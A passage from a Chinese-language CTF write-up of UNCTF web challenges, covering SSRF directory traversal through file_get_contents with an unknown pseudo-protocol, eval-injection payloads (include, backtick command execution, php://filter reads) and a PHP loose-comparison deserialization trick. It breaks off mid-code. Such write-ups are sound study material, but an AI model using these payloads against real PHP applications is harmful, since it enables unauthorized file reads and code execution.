文章目录
Web
0x01:easy_ssrf
代码很简单,参数中要有unctf.com,而且过滤了php|file|zip|bzip|zlib|base|data
,导致很多协议用不了,查了查资料发现涉及到SSRF file_get_contents函数都是利用的file协议等,一开始也没思路要怎么绕过去。
然后查了一篇师傅的博客记载了一个SSRF的一个黑魔法:
当PHP的 file_get_contents() 函数在遇到不认识的伪协议头时候会将伪协议头当做文件夹,造成目录穿越漏洞,这时候只需不断往上跳转目录即可读到根目录的文件。这个方法可以在SSRF的众多协议被ban的情况下来进行读取文件
发现确实可以造成目录穿越,直接读取下flag
0x02:babyeval
过滤了带括号的函数,可以使用echo
进行输出内容,通过include包含flag.php
,再输出变量即可(感觉是非预期,因为ob_start函数没有用到)
payload:
?a=include "flag.php";echo $flag;
ob_start([string output_callback])- 打开输出缓冲区,所有的输出信息不在直接发送到浏览器,而是保存在输出缓冲区里面,可选得回调函数用于处理输出结果信息。
这道题设置的是输出信息中不能存在flag,所以可以利用编码绕过
?a=echo `base64 flag.php`;
也可以通过include+伪协议去读取
?a=include 'php://filter/read=convert.base64-encode/resource=./flag.php';
0x03:ezphp
bool类型的true跟任意字符串可以弱类型相等。因此我们可以构造bool类型的序列化数据 ,无论比较的值是什么,结果都为true
payload:
<?php
error_reporting(0);
$shy='';
$shy=array("username"=>1,"password"=>1);
echo var_dump($shy);
echo var_dump(serialize($shy));
$shy='';
$shy=array("username"=>true,"